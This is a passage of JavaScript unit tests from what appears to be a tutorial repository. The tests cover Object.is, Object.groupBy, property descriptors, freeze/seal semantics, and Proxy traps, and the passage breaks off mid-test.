 // ============================================================\n  // OBJECT.is() - PRECISE EQUALITY\n  // From object-methods.mdx lines 335-380\n  // ============================================================\n\n  describe('Object.is()', () => {\n    // From lines 340-347: Same as === for normal values\n    it('should behave like === for normal values', () => {\n      expect(Object.is(5, 5)).toBe(true)\n      expect(Object.is('hello', 'hello')).toBe(true)\n      expect(Object.is({}, {})).toBe(false) // different references\n    })\n\n    // From lines 349-352: Different from === for NaN\n    it('should return true for NaN === NaN', () => {\n      expect(NaN === NaN).toBe(false)           // === returns false\n      expect(Object.is(NaN, NaN)).toBe(true)    // Object.is returns true\n    })\n\n    // From lines 349-352: Different from === for -0\n    it('should distinguish +0 from -0', () => {\n      expect(0 === -0).toBe(true)               // === returns true\n      expect(Object.is(0, -0)).toBe(false)      // Object.is returns false\n    })\n\n    // From lines 356-367: NaN comparison example\n    it('should detect NaN values correctly', () => {\n      const value = NaN\n      \n      expect(value === NaN).toBe(false)\n      expect(Object.is(value, NaN)).toBe(true)\n      expect(Number.isNaN(value)).toBe(true)\n    })\n\n    // From lines 369-376: Zero comparison example\n    it('should compare zeros correctly', () => {\n      const positiveZero = 0\n      const negativeZero = -0\n      \n      expect(positiveZero === negativeZero).toBe(true)\n      expect(Object.is(positiveZero, negativeZero)).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // OBJECT.groupBy() - GROUPING DATA (ES2024)\n  // From object-methods.mdx lines 385-450\n  // ============================================================\n\n  describe('Object.groupBy()', () => {\n    // From lines 392-412: Basic groupBy usage\n    it('should group array elements by callback result', () => {\n      const inventory = [\n        { name: 'apples', type: 'fruit', quantity: 5 },\n        { name: 'bananas', type: 'fruit', quantity: 3 },\n        { name: 'carrots', type: 'vegetable', quantity: 10 },\n        { name: 'broccoli', type: 'vegetable', quantity: 7 }\n      ]\n      \n      const byType = Object.groupBy(inventory, item => item.type)\n      \n      expect(Object.keys(byType).sort()).toEqual(['fruit', 'vegetable'])\n      expect(byType.fruit).toHaveLength(2)\n      expect(byType.vegetable).toHaveLength(2)\n      expect(byType.fruit[0].name).toBe('apples')\n      expect(byType.vegetable[0].name).toBe('carrots')\n    })\n\n    // From lines 416-434: Custom grouping logic\n    it('should support custom grouping logic', () => {\n      const products = [\n        { name: 'Laptop', price: 999 },\n        { name: 'Mouse', price: 29 },\n        { name: 'Monitor', price: 399 },\n        { name: 'Keyboard', price: 89 }\n      ]\n      \n      const byPriceRange = Object.groupBy(products, product => {\n        if (product.price < 50) return 'budget'\n        if (product.price < 200) return 'mid-range'\n        return 'premium'\n      })\n      \n      expect(byPriceRange.budget).toEqual([{ name: 'Mouse', price: 29 }])\n      expect(byPriceRange['mid-range']).toEqual([{ name: 'Keyboard', price: 89 }])\n      expect(byPriceRange.premium).toHaveLength(2)\n    })\n\n    // Additional: Empty array handling\n    it('should handle empty arrays', () => {\n      const empty = []\n      const grouped = Object.groupBy(empty, item => item.type)\n      \n      expect(Object.keys(grouped)).toEqual([])\n    })\n\n    // Additional: Returns null-prototype object\n    it('should return a null-prototype object', () => {\n      const items = [{ type: 'a' }]\n      const grouped = Object.groupBy(items, item => item.type)\n      \n      // Null prototype means no inherited properties\n      expect(Object.getPrototypeOf(grouped)).toBe(null)\n    })\n  })\n\n  // ============================================================\n  // INSPECTION METHODS\n  // From object-methods.mdx lines 455-480\n  // ============================================================\n\n  describe('Inspection Methods', () => {\n    describe('Object.getOwnPropertyNames()', () => {\n      // From lines 460-464: Returns all own properties including non-enumerable\n      it('should include non-enumerable properties', () => {\n        const arr = [1, 2, 3]\n        \n        expect(Object.keys(arr)).toEqual(['0', '1', '2'])\n        expect(Object.getOwnPropertyNames(arr)).toEqual(['0', '1', '2', 'length'])\n      })\n    })\n\n    describe('Object.getOwnPropertySymbols()', () => {\n      // From lines 468-476: Returns Symbol-keyed properties\n      it('should return Symbol-keyed properties', () => {\n        const id = Symbol('id')\n        const obj = { \n          name: 'Alice',\n          [id]: 12345 \n        }\n        \n        expect(Object.keys(obj)).toEqual(['name'])\n        expect(Object.getOwnPropertySymbols(obj)).toEqual([id])\n      })\n    })\n  })\n\n  // ============================================================\n  // OBJECT PROTECTION METHODS (BRIEF)\n  // From object-methods.mdx lines 485-510\n  // ============================================================\n\n  describe('Object Protection Methods', () => {\n    // From lines 497-503: Object.freeze example\n    // Note: In strict mode (which Vitest uses), these throw TypeError instead of silently failing\n    it('should prevent modifications when frozen', () => {\n      const config = { apiUrl: 'https://api.example.com' }\n      \n      Object.freeze(config)\n      \n      // In strict mode, this throws TypeError\n      expect(() => {\n        config.apiUrl = 'https://evil.com'\n      }).toThrow(TypeError)\n      \n      expect(config.apiUrl).toBe('https://api.example.com')\n    })\n\n    // Additional: Object.seal\n    it('should allow modifications but not additions when sealed', () => {\n      const obj = { existing: 'value' }\n      \n      Object.seal(obj)\n      obj.existing = 'modified'  // This works\n      \n      // Adding new property throws in strict mode\n      expect(() => {\n        obj.newProp = 'new'\n      }).toThrow(TypeError)\n      \n      expect(obj.existing).toBe('modified')\n      expect(obj.newProp).toBeUndefined()\n    })\n\n    // Additional: Object.preventExtensions\n    it('should prevent new properties when extensions prevented', () => {\n      const obj = { a: 1 }\n      \n      Object.preventExtensions(obj)\n      \n      // Adding new property throws in strict mode\n      expect(() => {\n        obj.b = 2\n      }).toThrow(TypeError)\n      \n      obj.a = 10  // Modifying existing property still works\n      \n      expect(obj.a).toBe(10)\n      expect(obj.b).toBeUndefined()\n    })\n  })\n\n  // ============================================================\n  // COMMON PATTERNS\n  // From object-methods.mdx lines 520-560\n  // ============================================================\n\n  describe('Common Patterns', () => {\n    // From lines 525-533: Normalize API response\n    it('should normalize array to lookup object', () => {\n      const users = [\n        { id: 1, name: 'Alice' },\n        { id: 2, name: 'Bob' }\n      ]\n      \n      const usersById = Object.fromEntries(\n        users.map(user => [user.id, user])\n      )\n      \n      expect(usersById).toEqual({\n        1: { id: 1, name: 'Alice' },\n        2: { id: 2, name: 'Bob' }\n      })\n      expect(usersById[1].name).toBe('Alice')\n    })\n\n    // From lines 537-548: Configuration merging\n    it('should merge configuration with defaults', () => {\n      function createClient(userOptions = {}) {\n        const defaults = {\n          timeout: 5000,\n          retries: 3,\n          baseUrl: 'https://api.example.com'\n        }\n        \n        return Object.assign({}, defaults, userOptions)\n      }\n      \n      const options = createClient({ timeout: 10000 })\n      \n      expect(options.timeout).toBe(10000)\n      expect(options.retries).toBe(3)\n      expect(options.baseUrl).toBe('https://api.example.com')\n    })\n\n    // From lines 552-557: Safe property access\n    it('should safely check for properties in data', () => {\n      function processData(data) {\n        if (Object.hasOwn(data, 'userId')) {\n          return data.userId\n        }\n        return null\n      }\n      \n      expect(processData({ userId: 123 })).toBe(123)\n      expect(processData({ name: 'Alice' })).toBe(null)\n      expect(processData({})).toBe(null)\n    })\n  })\n\n  // ============================================================\n  // OPENING EXAMPLE FROM DOCUMENTATION\n  // From object-methods.mdx lines 10-25\n  // ============================================================\n\n  describe('Opening Example', () => {\n    // From lines 10-20: Main demonstration\n    it('should demonstrate the iteration trio and transformation', () => {\n      const user = { name: 'Alice', age: 30, city: 'NYC' }\n\n      expect(Object.keys(user)).toEqual(['name', 'age', 'city'])\n      expect(Object.values(user)).toEqual(['Alice', 30, 'NYC'])\n      expect(Object.entries(user)).toEqual([\n        ['name', 'Alice'], \n        ['age', 30], \n        ['city', 'NYC']\n      ])\n\n      const upperKeys = Object.fromEntries(\n        Object.entries(user).map(([key, value]) => [key.toUpperCase(), value])\n      )\n      \n      expect(upperKeys).toEqual({ NAME: 'Alice', AGE: 30, CITY: 'NYC' })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/objects-properties/property-descriptors/property-descriptors.test.js",
    "content": "import { describe, it, expect, beforeEach } from 'vitest'\n\ndescribe('Property Descriptors', () => {\n  \n  describe('Basic Descriptor Structure', () => {\n    it('should have all four attributes for a normal property', () => {\n      const obj = { name: 'Alice' }\n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'name')\n      \n      expect(descriptor).toEqual({\n        value: 'Alice',\n        writable: true,\n        enumerable: true,\n        configurable: true\n      })\n    })\n    \n    it('should default all flags to true when using normal assignment', () => {\n      const obj = {}\n      obj.prop = 'value'\n      \n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop')\n      \n      expect(descriptor.writable).toBe(true)\n      expect(descriptor.enumerable).toBe(true)\n      expect(descriptor.configurable).toBe(true)\n    })\n    \n    it('should default flags to false when using defineProperty', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'prop', { value: 'test' })\n      \n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop')\n      \n      expect(descriptor.writable).toBe(false)\n      expect(descriptor.enumerable).toBe(false)\n      expect(descriptor.configurable).toBe(false)\n    })\n  })\n  \n  describe('Writable Flag', () => {\n    it('should allow modification when writable is true', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'name', {\n        value: 'Alice',\n        writable: true,\n        enumerable: true,\n        configurable: true\n      })\n      \n      obj.name = 'Bob'\n      expect(obj.name).toBe('Bob')\n    })\n    \n    it('should prevent modification when writable is false (throws in strict mode)', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'name', {\n        value: 'Alice',\n        writable: false,\n        enumerable: true,\n        configurable: true\n      })\n      \n      // In strict mode (which ES modules use), this throws\n      expect(() => {\n        obj.name = 'Bob'\n      }).toThrow(TypeError)\n      expect(obj.name).toBe('Alice')\n    })\n    \n    it('should throw in strict mode when writing to non-writable property', () => {\n      'use strict'\n      \n      const obj = {}\n      Object.defineProperty(obj, 'name', {\n        value: 'Alice',\n        writable: false,\n        enumerable: true,\n        configurable: true\n      })\n      \n      expect(() => {\n        obj.name = 'Bob'\n      }).toThrow(TypeError)\n    })\n    \n    it('should demonstrate Math.PI is non-writable', () => {\n      const descriptor = Object.getOwnPropertyDescriptor(Math, 'PI')\n      \n      expect(descriptor.writable).toBe(false)\n      expect(descriptor.value).toBe(3.141592653589793)\n      \n      // In strict mode, attempting to change it throws\n      expect(() => {\n        Math.PI = 3\n      }).toThrow(TypeError)\n      expect(Math.PI).toBe(3.141592653589793)\n    })\n  })\n  \n  describe('Enumerable Flag', () => {\n    it('should include enumerable properties in Object.keys()', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'visible', {\n        value: 1,\n        enumerable: true\n      })\n      Object.defineProperty(obj, 'hidden', {\n        value: 2,\n        enumerable: false\n      })\n      \n      expect(Object.keys(obj)).toEqual(['visible'])\n      expect(Object.keys(obj)).not.toContain('hidden')\n    })\n    \n    it('should include enumerable properties in for...in loops', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'visible', {\n        value: 1,\n        enumerable: true\n      })\n      Object.defineProperty(obj, 'hidden', {\n        value: 2,\n        enumerable: false\n      })\n      \n      const keys = []\n      for (const key in obj) {\n        keys.push(key)\n      }\n      \n      expect(keys).toEqual(['visible'])\n    })\n    \n    it('should exclude non-enumerable properties from spread operator', () => {\n      const obj = { visible: 1 }\n      Object.defineProperty(obj, 'hidden', {\n        value: 2,\n        enumerable: false\n      })\n      \n      const copy = { ...obj }\n      \n      expect(copy).toEqual({ visible: 1 })\n      expect(copy.hidden).toBeUndefined()\n    })\n    \n    it('should exclude non-enumerable properties from JSON.stringify()', () => {\n      const obj = { visible: 1 }\n      Object.defineProperty(obj, 'hidden', {\n        value: 2,\n        enumerable: false\n      })\n      \n      const json = JSON.stringify(obj)\n      \n      expect(json).toBe('{\"visible\":1}')\n    })\n    \n    it('should still allow direct access to non-enumerable properties', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'hidden', {\n        value: 'secret',\n        enumerable: false\n      })\n      \n      expect(obj.hidden).toBe('secret')\n    })\n    \n    it('should demonstrate Array.length is non-enumerable', () => {\n      const arr = [1, 2, 3]\n      const descriptor = Object.getOwnPropertyDescriptor(arr, 'length')\n      \n      expect(descriptor.enumerable).toBe(false)\n      expect(Object.keys(arr)).toEqual(['0', '1', '2'])\n      expect(Object.keys(arr)).not.toContain('length')\n    })\n  })\n  \n  describe('Configurable Flag', () => {\n    it('should allow deletion when configurable is true', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'deletable', {\n        value: 1,\n        configurable: true\n      })\n      \n      expect(delete obj.deletable).toBe(true)\n      expect(obj.deletable).toBeUndefined()\n    })\n    \n    it('should prevent deletion when configurable is false (throws in strict mode)', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'permanent', {\n        value: 1,\n        configurable: false\n      })\n      \n      // In strict mode, this throws\n      expect(() => {\n        delete obj.permanent\n      }).toThrow(TypeError)\n      expect(obj.permanent).toBe(1)\n    })\n    \n    it('should allow reconfiguration when configurable is true', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'prop', {\n        value: 1,\n        enumerable: false,\n        configurable: true\n      })\n      \n      // Change enumerable flag\n      Object.defineProperty(obj, 'prop', {\n        enumerable: true\n      })\n      \n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop')\n      expect(descriptor.enumerable).toBe(true)\n    })\n    \n    it('should prevent reconfiguration when configurable is false', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'prop', {\n        value: 1,\n        enumerable: false,\n        configurable: false\n      })\n      \n      expect(() => {\n        Object.defineProperty(obj, 'prop', {\n          enumerable: true\n        })\n      }).toThrow(TypeError)\n    })\n    \n    it('should still allow writable true -> false even when non-configurable', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'prop', {\n        value: 1,\n        writable: true,\n        configurable: false\n      })\n      \n      // This should work\n      Object.defineProperty(obj, 'prop', {\n        writable: false\n      })\n      \n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop')\n      expect(descriptor.writable).toBe(false)\n    })\n    \n    it('should NOT allow writable false -> true when non-configurable', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'prop', {\n        value: 1,\n        writable: false,\n        configurable: false\n      })\n      \n      expect(() => {\n        Object.defineProperty(obj, 'prop', {\n          writable: true\n        })\n      }).toThrow(TypeError)\n    })\n  })\n  \n  describe('Object.defineProperties()', () => {\n    it('should define multiple properties at once', () => {\n      const obj = {}\n      \n      Object.defineProperties(obj, {\n        name: {\n          value: 'Alice',\n          writable: true,\n          enumerable: true,\n          configurable: true\n        },\n        age: {\n          value: 30,\n          writable: false,\n          enumerable: true,\n          configurable: false\n        }\n      })\n      \n      expect(obj.name).toBe('Alice')\n      expect(obj.age).toBe(30)\n      \n      obj.name = 'Bob'\n      expect(obj.name).toBe('Bob')\n      \n      // In strict mode, writing to non-writable throws\n      expect(() => {\n        obj.age = 40\n      }).toThrow(TypeError)\n      expect(obj.age).toBe(30) // Unchanged\n    })\n  })\n  \n  describe('Object.getOwnPropertyDescriptors()', () => {\n    it('should return descriptors for all own properties', () => {\n      const obj = { a: 1 }\n      Object.defineProperty(obj, 'b', {\n        value: 2,\n        writable: false,\n        enumerable: false,\n        configurable: false\n      })\n      \n      const descriptors = Object.getOwnPropertyDescriptors(obj)\n      \n      expect(descriptors.a).toEqual({\n        value: 1,\n        writable: true,\n        enumerable: true,\n        configurable: true\n      })\n      \n      expect(descriptors.b).toEqual({\n        value: 2,\n        writable: false,\n        enumerable: false,\n        configurable: false\n      })\n    })\n    \n    it('should enable proper object cloning with descriptors', () => {\n      const original = {}\n      Object.defineProperty(original, 'id', {\n        value: 1,\n        writable: false,\n        enumerable: true,\n        configurable: false\n      })\n      \n      // Clone preserving descriptors\n      const clone = Object.defineProperties(\n        {},\n        Object.getOwnPropertyDescriptors(original)\n      )\n      \n      const cloneDescriptor = Object.getOwnPropertyDescriptor(clone, 'id')\n      expect(cloneDescriptor.writable).toBe(false)\n      expect(cloneDescriptor.configurable).toBe(false)\n    })\n    \n    it('should demonstrate that spread does not preserve descriptors', () => {\n      const original = {}\n      Object.defineProperty(original, 'id', {\n        value: 1,\n        writable: false,\n        enumerable: true,\n        configurable: false\n      })\n      \n      // Spread loses descriptors\n      const copy = { ...original }\n      \n      const copyDescriptor = Object.getOwnPropertyDescriptor(copy, 'id')\n      expect(copyDescriptor.writable).toBe(true) // Lost!\n      expect(copyDescriptor.configurable).toBe(true) // Lost!\n    })\n  })\n  \n  describe('Accessor Descriptors (Getters/Setters)', () => {\n    it('should define a property with getter and setter', () => {\n      const user = { _name: 'Alice' }\n      \n      Object.defineProperty(user, 'name', {\n        get() {\n          return this._name.toUpperCase()\n        },\n        set(value) {\n          this._name = value\n        },\n        enumerable: true,\n        configurable: true\n      })\n      \n      expect(user.name).toBe('ALICE')\n      \n      user.name = 'Bob'\n      expect(user.name).toBe('BOB')\n    })\n    \n    it('should create a read-only property with getter only (throws in strict mode)', () => {\n      const circle = { radius: 5 }\n      \n      Object.defineProperty(circle, 'area', {\n        get() {\n          return Math.PI * this.radius ** 2\n        },\n        enumerable: true,\n        configurable: true\n      })\n      \n      expect(circle.area).toBeCloseTo(78.54, 1)\n      \n      // In strict mode, assignment to getter-only throws\n      expect(() => {\n        circle.area = 100\n      }).toThrow(TypeError)\n      expect(circle.area).toBeCloseTo(78.54, 1)\n    })\n    \n    it('should throw when mixing value and get in a descriptor', () => {\n      expect(() => {\n        Object.defineProperty({}, 'prop', {\n          value: 42,\n          get() { return 42 }\n        })\n      }).toThrow(TypeError)\n    })\n    \n    it('should throw when mixing writable and get in a descriptor', () => {\n      expect(() => {\n        Object.defineProperty({}, 'prop', {\n          writable: true,\n          get() { return 42 }\n        })\n      }).toThrow(TypeError)\n    })\n    \n    it('should have get/set instead of value/writable in accessor descriptor', () => {\n      const obj = {}\n      \n      Object.defineProperty(obj, 'prop', {\n        get() { return 'hello' },\n        set(v) { },\n        enumerable: true,\n        configurable: true\n      })\n      \n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop')\n      \n      expect(descriptor.get).toBeDefined()\n      expect(descriptor.set).toBeDefined()\n      expect(descriptor.value).toBeUndefined()\n      expect(descriptor.writable).toBeUndefined()\n    })\n  })\n  \n  describe('Object.preventExtensions()', () => {\n    it('should prevent adding new properties (throws in strict mode)', () => {\n      const obj = { existing: 1 }\n      Object.preventExtensions(obj)\n      \n      expect(() => {\n        obj.newProp = 2\n      }).toThrow(TypeError)\n      expect(obj.newProp).toBeUndefined()\n    })\n    \n    it('should still allow modifying existing properties', () => {\n      const obj = { existing: 1 }\n      Object.preventExtensions(obj)\n      \n      obj.existing = 2\n      expect(obj.existing).toBe(2)\n    })\n    \n    it('should still allow deleting existing properties', () => {\n      const obj = { existing: 1 }\n      Object.preventExtensions(obj)\n      \n      delete obj.existing\n      expect(obj.existing).toBeUndefined()\n    })\n    \n    it('should return false for Object.isExtensible()', () => {\n      const obj = {}\n      Object.preventExtensions(obj)\n      \n      expect(Object.isExtensible(obj)).toBe(false)\n    })\n  })\n  \n  describe('Object.seal()', () => {\n    it('should prevent adding new properties (throws in strict mode)', () => {\n      const obj = { existing: 1 }\n      Object.seal(obj)\n      \n      expect(() => {\n        obj.newProp = 2\n      }).toThrow(TypeError)\n      expect(obj.newProp).toBeUndefined()\n    })\n    \n    it('should prevent deleting existing properties (throws in strict mode)', () => {\n      const obj = { existing: 1 }\n      Object.seal(obj)\n      \n      expect(() => {\n        delete obj.existing\n      }).toThrow(TypeError)\n      expect(obj.existing).toBe(1)\n    })\n    \n    it('should still allow modifying existing values', () => {\n      const obj = { existing: 1 }\n      Object.seal(obj)\n      \n      obj.existing = 2\n      expect(obj.existing).toBe(2)\n    })\n    \n    it('should set configurable to false on all properties', () => {\n      const obj = { prop: 1 }\n      Object.seal(obj)\n      \n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop')\n      expect(descriptor.configurable).toBe(false)\n    })\n    \n    it('should return true for Object.isSealed()', () => {\n      const obj = { prop: 1 }\n      Object.seal(obj)\n      \n      expect(Object.isSealed(obj)).toBe(true)\n    })\n  })\n  \n  describe('Object.freeze()', () => {\n    it('should prevent adding new properties (throws in strict mode)', () => {\n      const obj = { existing: 1 }\n      Object.freeze(obj)\n      \n      expect(() => {\n        obj.newProp = 2\n      }).toThrow(TypeError)\n      expect(obj.newProp).toBeUndefined()\n    })\n    \n    it('should prevent deleting existing properties (throws in strict mode)', () => {\n      const obj = { existing: 1 }\n      Object.freeze(obj)\n      \n      expect(() => {\n        delete obj.existing\n      }).toThrow(TypeError)\n      expect(obj.existing).toBe(1)\n    })\n    \n    it('should prevent modifying existing values (throws in strict mode)', () => {\n      const obj = { existing: 1 }\n      Object.freeze(obj)\n      \n      expect(() => {\n        obj.existing = 2\n      }).toThrow(TypeError)\n      expect(obj.existing).toBe(1) // Unchanged\n    })\n    \n    it('should set configurable and writable to false on all properties', () => {\n      const obj = { prop: 1 }\n      Object.freeze(obj)\n      \n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop')\n      expect(descriptor.configurable).toBe(false)\n      expect(descriptor.writable).toBe(false)\n    })\n    \n    it('should return true for Object.isFrozen()', () => {\n      const obj = { prop: 1 }\n      Object.freeze(obj)\n      \n      expect(Object.isFrozen(obj)).toBe(true)\n    })\n    \n    it('should NOT freeze nested objects (shallow freeze)', () => {\n      const obj = {\n        outer: 1,\n        nested: { inner: 2 }\n      }\n      Object.freeze(obj)\n      \n      // Outer property is frozen (throws in strict mode)\n      expect(() => {\n        obj.outer = 100\n      }).toThrow(TypeError)\n      expect(obj.outer).toBe(1) // Frozen\n      \n      // But nested object is NOT frozen\n      obj.nested.inner = 200\n      expect(obj.nested.inner).toBe(200) // NOT frozen!\n    })\n  })\n  \n  describe('Real-World Use Cases', () => {\n    it('should create a constant configuration object (throws in strict mode)', () => {\n      const Config = {}\n      \n      Object.defineProperties(Config, {\n        API_URL: {\n          value: 'https://api.example.com',\n          writable: false,\n          enumerable: true,\n          configurable: false\n        },\n        TIMEOUT: {\n          value: 5000,\n          writable: false,\n          enumerable: true,\n          configurable: false\n        }\n      })\n      \n      expect(() => {\n        Config.API_URL = 'https://evil.com'\n      }).toThrow(TypeError)\n      expect(Config.API_URL).toBe('https://api.example.com')\n      \n      expect(() => {\n        delete Config.TIMEOUT\n      }).toThrow(TypeError)\n      expect(Config.TIMEOUT).toBe(5000)\n    })\n    \n    it('should hide internal properties from serialization', () => {\n      const user = { name: 'Alice' }\n      \n      Object.defineProperty(user, '_secret', {\n        value: 'password123',\n        enumerable: false\n      })\n      \n      const json = JSON.stringify(user)\n      expect(json).toBe('{\"name\":\"Alice\"}')\n      expect(JSON.parse(json)._secret).toBeUndefined()\n      \n      // But the property still exists\n      expect(user._secret).toBe('password123')\n    })\n    \n    it('should create computed properties that auto-update', () => {\n      const rectangle = { width: 10, height: 5 }\n      \n      Object.defineProperty(rectangle, 'area', {\n        get() {\n          return this.width * this.height\n        },\n        enumerable: true,\n        configurable: true\n      })\n      \n      expect(rectangle.area).toBe(50)\n      \n      rectangle.width = 20\n      expect(rectangle.area).toBe(100) // Auto-updated!\n    })\n    \n    it('should create properties with validation', () => {\n      const person = { _age: 0 }\n      \n      Object.defineProperty(person, 'age', {\n        get() {\n          return this._age\n        },\n        set(value) {\n          if (typeof value !== 'number' || value < 0) {\n            throw new TypeError('Age must be a positive number')\n          }\n          this._age = value\n        },\n        enumerable: true,\n        configurable: true\n      })\n      \n      person.age = 25\n      expect(person.age).toBe(25)\n      \n      expect(() => {\n        person.age = -5\n      }).toThrow(TypeError)\n      \n      expect(() => {\n        person.age = 'old'\n      }).toThrow(TypeError)\n    })\n  })\n  \n  describe('Edge Cases', () => {\n    it('should return undefined for non-existent property descriptors', () => {\n      const obj = { a: 1 }\n      const descriptor = Object.getOwnPropertyDescriptor(obj, 'nonexistent')\n      \n      expect(descriptor).toBeUndefined()\n    })\n    \n    it('should work with Symbol property keys', () => {\n      const secretKey = Symbol('secret')\n      const obj = {}\n      \n      Object.defineProperty(obj, secretKey, {\n        value: 'hidden',\n        enumerable: false\n      })\n      \n      expect(obj[secretKey]).toBe('hidden')\n      expect(Object.keys(obj)).toEqual([])\n      expect(Object.getOwnPropertySymbols(obj)).toEqual([secretKey])\n    })\n    \n    it('should allow changing value via defineProperty even when writable is false but configurable is true', () => {\n      const obj = {}\n      Object.defineProperty(obj, 'prop', {\n        value: 1,\n        writable: false,\n        configurable: true\n      })\n      \n      // Assignment throws in strict mode\n      expect(() => {\n        obj.prop = 2\n      }).toThrow(TypeError)\n      expect(obj.prop).toBe(1)\n      \n      // But defineProperty works!\n      Object.defineProperty(obj, 'prop', {\n        value: 2\n      })\n      expect(obj.prop).toBe(2)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/objects-properties/proxy-reflect/proxy-reflect.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Proxy and Reflect', () => {\n  // ============================================================\n  // WHAT IS A PROXY?\n  // From proxy-reflect.mdx lines 30-45\n  // ============================================================\n\n  describe('What is a Proxy?', () => {\n    // From lines 30-40: Basic Proxy with get trap\n    it('should return custom value for missing properties', () => {\n      const target = { message: 'hello' }\n\n      const handler = {\n        get(target, prop) {\n          return prop in target ? target[prop] : 'Property not found'\n        }\n      }\n\n      const proxy = new Proxy(target, handler)\n\n      expect(proxy.message).toBe('hello')\n      expect(proxy.missing).toBe('Property not found')\n    })\n\n    // From lines 42-48: Empty handler pass-through\n    it('should forward operations to target with empty handler', () => {\n      const target = { x: 10 }\n      const proxy = new Proxy(target, {})\n\n      proxy.y = 20\n      expect(target.y).toBe(20)\n    })\n  })\n\n  // ============================================================\n  // THE GET TRAP: INTERCEPTING PROPERTY ACCESS\n  // From proxy-reflect.mdx lines 95-140\n  // ============================================================\n\n  describe('The get Trap', () => {\n    // From lines 95-105: Basic get trap logging\n    it('should intercept property reads', () => {\n      const logs = []\n      const handler = {\n        get(target, prop, receiver) {\n          logs.push(`Accessing: ${prop}`)\n          return target[prop]\n        }\n      }\n\n      const user = new Proxy({ name: 'Alice' }, handler)\n      const name = user.name\n\n      expect(name).toBe('Alice')\n      expect(logs).toContain('Accessing: name')\n    })\n\n    // From lines 115-122: Default values pattern\n    it('should return default value for missing properties', () => {\n      const defaults = new Proxy({}, {\n        get(target, prop) {\n          return prop in target ? target[prop] : 0\n        }\n      })\n\n      defaults.x = 10\n      expect(defaults.x).toBe(10)\n      expect(defaults.missing).toBe(0)\n    })\n\n    // From lines 126-140: Negative array indices\n    it('should allow negative array indices', () => {\n      function createNegativeArray(arr) {\n        return new Proxy(arr, {\n          get(target, prop, receiver) {\n            const index = Number(prop)\n            if (index < 0) {\n              return target[target.length + index]\n            }\n            return Reflect.get(target, prop, receiver)\n          }\n        })\n      }\n\n      const arr = createNegativeArray([1, 2, 3, 4, 5])\n      expect(arr[-1]).toBe(5)\n      expect(arr[-2]).toBe(4)\n      expect(arr[0]).toBe(1)\n    })\n  })\n\n  // ============================================================\n  // THE SET TRAP: INTERCEPTING PROPERTY ASSIGNMENT\n  // From proxy-reflect.mdx lines 145-195\n  // ============================================================\n\n  describe('The set Trap', () => {\n    // From lines 145-155: Basic set trap\n    it('should intercept property writes', () => {\n      const logs = []\n      const handler = {\n        set(target, prop, value, receiver) {\n          logs.push(`Setting ${prop} to ${value}`)\n          target[prop] = value\n          return true\n        }\n      }\n\n      const obj = new Proxy({}, handler)\n      obj.x = 10\n\n      expect(logs).toContain('Setting x to 10')\n      expect(obj.x).toBe(10)\n    })\n\n    // From lines 165-185: Validation pattern\n    it('should validate property values', () => {\n      const validator = {\n        set(target, prop, value) {\n          if (prop === 'age') {\n            if (typeof value !== 'number') {\n              throw new TypeError('Age must be a number')\n            }\n            if (value < 0 || value > 150) {\n              throw new RangeError('Age must be between 0 and 150')\n            }\n          }\n          target[prop] = value\n          return true\n        }\n      }\n\n      const person = new Proxy({}, validator)\n\n      // Valid assignments\n      person.name = 'Alice'\n      expect(person.name).toBe('Alice')\n\n      person.age = 30\n      expect(person.age).toBe(30)\n\n      // Invalid assignments\n      expect(() => {\n        person.age = -5\n      }).toThrow(RangeError)\n\n      expect(() => {\n        person.age = 'thirty'\n      }).toThrow(TypeError)\n    })\n\n    // From lines 155-160: set must return true\n    it('should throw TypeError if set returns false in strict mode', () => {\n      const proxy = new Proxy({}, {\n        set() {\n          return false\n        }\n      })\n\n      expect(() => {\n        'use strict'\n        proxy.x = 10\n      }).toThrow(TypeError)\n    })\n  })\n\n  // ============================================================\n  // THE HAS TRAP: INTERCEPTING IN OPERATOR\n  // From proxy-reflect.mdx lines 200-215\n  // ============================================================\n\n  describe('The has Trap', () => {\n    // From lines 200-210: Range checking with in operator\n    it('should intercept the in operator', () => {\n      const range = new Proxy({ start: 1, end: 10 }, {\n        has(target, prop) {\n          const num = Number(prop)\n          return num >= target.start && num <= target.end\n        }\n      })\n\n      expect(5 in range).toBe(true)\n      expect(15 in range).toBe(false)\n      expect(1 in range).toBe(true)\n      expect(10 in range).toBe(true)\n      expect(0 in range).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // THE DELETEPROPERTY TRAP\n  // From proxy-reflect.mdx lines 220-235\n  // ============================================================\n\n  describe('The deleteProperty Trap', () => {\n    // From lines 220-232: Protected properties\n    it('should prevent deletion of protected properties', () => {\n      const protectedObj = new Proxy({ id: 1, name: 'Alice' }, {\n        deleteProperty(target, prop) {\n          if (prop === 'id') {\n            throw new Error('Cannot delete id property')\n          }\n          delete target[prop]\n          return true\n        }\n      })\n\n      delete protectedObj.name\n      expect(protectedObj.name).toBeUndefined()\n\n      expect(() => {\n        delete protectedObj.id\n      }).toThrow('Cannot delete id property')\n    })\n  })\n\n  // ============================================================\n  // THE APPLY AND CONSTRUCT TRAPS\n  // From proxy-reflect.mdx lines 240-275\n  // ============================================================\n\n  describe('The apply and construct Traps', () => {\n    // From lines 240-252: Apply trap for function calls\n    it('should intercept function calls with apply trap', () => {\n      function sum(a, b) {\n        return a + b\n      }\n\n      const logs = []\n      const loggedSum = new 